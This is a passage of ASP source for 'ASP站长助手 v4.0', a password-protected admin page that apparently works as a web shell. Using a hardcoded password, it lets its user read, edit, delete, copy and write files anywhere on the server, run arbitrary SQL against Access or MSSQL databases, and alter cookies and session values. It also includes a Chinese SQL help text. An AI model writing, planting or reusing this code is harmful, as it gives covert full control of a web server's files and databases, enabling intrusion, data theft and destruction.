dbm4.asp

ASP站长助手 v4.0 功能增强版 站内文件在线管理功能

<%
response.buffer=true
filename=Request.ServerVariables("URL")
Server.ScriptTimeout=5000
On Error Resume Next 
proname="ASP站长助手4.0"
%>
<center>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=proname%></title>
<style type="text/css">
<!--
td,textarea,body{
    font-size:9pt;
	}
table{
	background-color: #ffffff;
	border-top: 1px solid #cccccc;
	border-right: 1px solid #666666;
	border-bottom: 1px solid #666666;
	border-left: 1px solid #cccccc;
}
input{
	background-color: #efefef;
	border-top: 1px solid #cccccc;
	border-right: 1px solid #666666;
	border-bottom: 1px solid #666666;
	border-left: 1px solid #cccccc;
}
.small{font-size:8pt}
-->
</style>
<script language="javascript">
function yesok(){
if (confirm("确认要执行此操作吗？"))
		return true;
	else
		return false;
}
 function show(page,ptitle,w,h)
  {
window.open(page,ptitle,"toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,width="+w+",height="+h);
  }

</script>
<%
Dim userpass,Conn,ConnStr,SQL,Help,dbp

userpass="gxgl.com"
repage=request.servervariables("http_referer")

if instr(repage,filename)=0 then repage=filename


if request.form("loginpass")<>"" then
logincheck(request.form("loginpass"))
showerr()
response.end
end if

if session("xl")<>userpass then
loginform()
showerr()
response.end
end if

if request.querystring("logout")="yes" then
logout()
showerr()
response.end
end if

if request("up")="yes" then
Function GetFileName(ByVal strFile)
  If strFile <> "" Then
   GetFileName = mid(strFile,InStrRev(strFile, "\")+1)
  Else
   GetFileName = ""
  End If
End  function

strFileName = Request.Form("file1")

filepath=Request.Form("filepath")
if instr(filepath,":")>0 then
if right(filepath,1)<>"\" then filepath=filepath&"\"
else
filepath=Server.MapPath(filepath)
if right(filepath,1)<>"/" then filepath=filepath&"\"
end if

Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1 ' adTypeBinary
objStream.Open
objStream.LoadFromFile strFileName
objStream.SaveToFile filepath & GetFileName(strFileName),2
objStream.Close
response.write GetFileName(strFileName) & "上传成功<br>路径："&filepath & GetFileName(strFileName)&"<br><a href='"&filename&"?upfile=yes'>再传</a><br><a href='javascript:window.close()'>关闭窗口</a>"
showerr()
response.end
end if

if request("showpath")="yes" then
searchpath()
showerr()
response.end
end if

if request("editpath")<>"" then
edittxtfile(request("editpath"))
showerr()
response.end
end if

if request.form("textpath")<>"" then
call modifyfile(request.form("textpath"))
showerr()
response.end
end if

if request("delpath")<>"" then
call deletefile(request("delpath"))
showerr()
response.end
end if

if request("deldirpath")<>"" then
call deletedir(request("deldirpath"))
showerr()
response.end
end if

if request("copypath")<>"" then
call copyfile(request("copypath"))
showerr()
response.end
end if

if request("upfile")="yes" then
call upfile()
showerr()
response.end
end if

if request("showsc")="yes" then
co1=request.form("co1")
co2=request.form("co2")
cov=request.form("cov")
sess1=request.form("sess1")
sessv=request.form("sessv")

if co1<>"" and co2="" then
Response.Cookies(co1).Expires=Date+30
Response.Cookies(co1)=cov
end if

if request("delsession")<>"" then
session.Contents.Remove(request("delsession"))
response.redirect"?showsc=yes"
response.end
end if
if request("delcookies")<>"" then
Response.Cookies(request("delcookies")).Expires=Date-1
response.redirect"?showsc=yes"
response.end
end if

if co1<>"" and co2<>"" then
Response.Cookies(co1).Expires=Date+30
Response.Cookies(co1)(co2)=cov
end if

if sess1<>"" then
'session.abandon
session(sess1)=sessv
end if

showsc()
showerr()
response.end
end if

if request.querystring("cleardata")="yes" then
session("dbsourcepath")=""
session("sqlstr")=""
end if

dbp=request("dbsourcepath")
if dbp<>"" then session("dbsourcepath")=trim(dbp)

if instr(session("dbsourcepath"),":")>0 or instr(LCase(session("dbsourcepath")),"sql server")>0 or instr(LCase(session("dbsourcepath")),"dsn=")>0 then
dbp=session("dbsourcepath")
else
dbp=Server.MapPath(session("dbsourcepath"))
end if

sqlstr=trim(request("sqlstr"))
if sqlstr<>"" then session("sqlstr")=sqlstr

Help="\tsql基础知识\n\n1.数据库查询：Select用法\n"
Help=Help&"\tSelect [Top(数值)] 字段列表 From 数据表 [Where 条件] [Order by 字段] [asc或desc]\n"
Help=Help&"\n2.添加数据：Insert Into用法\n"
Help=Help&"\tInsert Into 数据表(字段1,字段2,字段3,…) Values(字段1的值,字段2的值,字段3的值,…)\n"
Help=Help&"\n3.删除数据：Delete用法\n"
Help=Help&"\tDelete From 数据表 [Where 条件]\n"
Help=Help&"\n4.更新数据：Update用法\n"
Help=Help&"\tUpdate 数据表 Set 字段1=字段值1, 字段2=字段值2, … [Where 条件]\n"
Help=Help&"\n5.建数据表：Create Table用法\n"
Help=Help&"\tCreate Table 数据表名(字段1名称,字段1类型,字段2名称 字段2类型, …)\n"
Help=Help&"\tAccess数据表常用数据类型:Text,Char(Number),Memo,Number,Int,Date/Time,Logical,OLEObject\n"
Help=Help&"\t自动编号字段添加例子:create table aaa(id int identity (1, 1) not null,abc varchar(25) null)\n"
Help=Help&"\n6.改数据表：Alter Table用法\n"
Help=Help&"\t添加字段：Alter Table 数据表名 Add Column 字段名 字段类型\n"
Help=Help&"\t删除字段：Alter Table 数据表名 Drop Column 字段名\n"
Help=Help&"\n7.删数据表：Drop Table用法\n"
Help=Help&"\tDrop Table 数据表名\n\n"
Help=Help&"\t本程序使用说明：\n数据库路径是必须要有的，相对路径或绝对路径均可,本版加入MSSQL连接功能；\n"
help=help&"\tMSSQL连接示例：在数据库地址处输入server=localhost;Database=dbname;Uid=userid;Pwd=password;Driver={SQL SERVER}\n"
Help=Help&"\n点“寻找数据库”按钮即可打开新窗口寻找服务器下的文件；\n"
Help=Help&"大文本框是用来输入ＳＱＬ语句的，输入后点执行即可运行你的ＳＱＬ语句\n"
Help=Help&"要清除上一次操作点击程序初始化按钮即可\n"
Help=Help&"\t\nCOOKIES设置方法：在COOKIES第一输入框中输入COOKIES名称如设不设数组第二个框留空,第三框输入COOKIES值\n"
Help=Help&"本程序为桂林老兵所写，当前为第四版，完善了文件管理功能，加上上传功能。欢迎访问桂林老兵站http://www.gxgl.com\n"
%>
 

  <body topmargin="0" onkeydown="if(event.ctrlKey&&event.keyCode=='13'){form1.Submit.click();}">
<%sub showsc()%>
  <table width="700" border="0" cellpadding="0" cellspacing="0">
    <form name="form33" method="post" action="">
      <tr bgcolor="#003366"> 
        <td height="27"><font color="#FFFFFF">&nbsp;response.cookies</font><font color="#FFFFFF">(&quot; 
          <input name="co1" value="<%=co1%>" size="15">
          &quot;)(&quot; 
          <input name="co2" value="<%=co2%>" size="15">
          &quot;)=&quot; 
          <input name="cov" value="<%=cov%>" size="15">
          &quot; &nbsp; 
          <input name="Submit" type="submit"  value="设置COOKIES">
          </font></td>
      </tr>
    </form>
    <tr bgcolor="#990000"> 
      <td height="27" bgcolor="#efefef"> 
        <%
response.write"当前本站点保存在你机上的所有COOKIES如下：<br>"
For Each Item in Request.Cookies 
If Request.Cookies(Item).HasKeys Then 

For Each ItemKey in Request.Cookies(Item) 
Response.Write "<b>response.cookies('"&Item &"')('"&ItemKey&"')</b>="& Request.Cookies(Item)(ItemKey)& "<a href='?showsc=yes&delcookies="&item&"'>删</a><br>"
Next 
Else 
Response.Write "<b>response.cookies('"&Item &"')</b>="& Request.Cookies(Item) & "<a href='?showsc=yes&delcookies="&item&"'>删</a><br>"
End If 
Next
%>
      </td>
    </tr>
    <form name="form22" method="post" action="">
      <tr bgcolor="#990000"> 
        <td width="599" height="27"><font color="#FFFFFF">&nbsp;session(&quot; 
          <input name="sess1" value="<%=sess1%>" size="15">
          &quot;)=&quot; 
          <input name="sessv" value="<%=sessv%>" size="15">
          &quot; &nbsp; 
          <input name="Submit" type="submit" id="Submit" value="设置SESSION">
          &nbsp;</font></td>
      </tr>
    </form>
    <tr bgcolor="#990000"> 
      <td height="27" bgcolor="#efefef"> 
        <%
Response.Write "你在该站点上的SESSION数量: " & Session.Contents.Count&"<br>" 
For Each strName in Session.Contents
If IsArray(Session(strName)) then 
For iLoop = LBound(Session(strName)) to UBound(Session(strName)) 
Response.Write "session('"&strName & ")(" & iLoop & ") = " & Session(strName)(iLoop) & "<a href='?showsc=yes&delsession="&strname&"'>删</a><BR>" 
Next 
Else 
Response.Write "session('"&strName & "') = " & Session.Contents(strName) & "<a href='?showsc=yes&delsession="&strname&"'>删</a><BR>" 
End If 
next
%>
      </td>
    </tr>
  </table>
<%end sub%>
  <table width="700" border="0" cellpadding="0" cellspacing="0">
    <form name="form1" method="post" action="<%=filename%>">
    <tr> 
        <td width="581" height="27" align="center">数据库路径或MSSQL连接字符串： 
          <input name="dbsourcepath" value="<%=session("dbsourcepath")%>" size="40" title="如果是MSSQL数据库请在此处填上连接参数：格式：server=servername;Database=dbname;Uid=userid;Pwd=password;Driver={SQL SERVER}如是ACCESS数据库请填写MDB文件的相对或绝对路径,下方输入框为空点击执行按钮则显示数据表结构">
          &nbsp; &nbsp; <br> </td>
        <td width="119" rowspan="2" align="center"> <input name="sp" type="button" id="sp" onClick="show('<%=filename%>?showpath=yes','showfso',300,400)" value="文件管理">
		<input name="scc" type="button" onClick="show('<%=filename%>?upfile=yes','upfile',400,180)" value="上传文件">
          <input name="cy2" type="button" onClick="show('<%=filename%>?showsc=yes','showsc',760,200)" value="会话管理">
          <br>
          <input name="cleardata" type="button" id="cleardata" onClick="location='<%=filename%>?cleardata=yes'" value="程序初始">
          <br> <input name="help" type="button" value="帮助" onClick="confirm('<%=help%>')">
        <input name="cy" type="button" onClick="cyyj.style.display=''" value="常用"> 
        <br>
        <input name="clear" type="button" value="清空" onClick="form1.sqlstr.value=''">
        <input type="submit" name="Submit" value="执行" onClick="yesok()"> 
      </td>
    </tr>
    <tr> 
      <td height="100" align="center"> 
        <textarea name="sqlstr" cols="75" rows="5"><%=session("sqlstr")%></textarea> 
        <br> </td>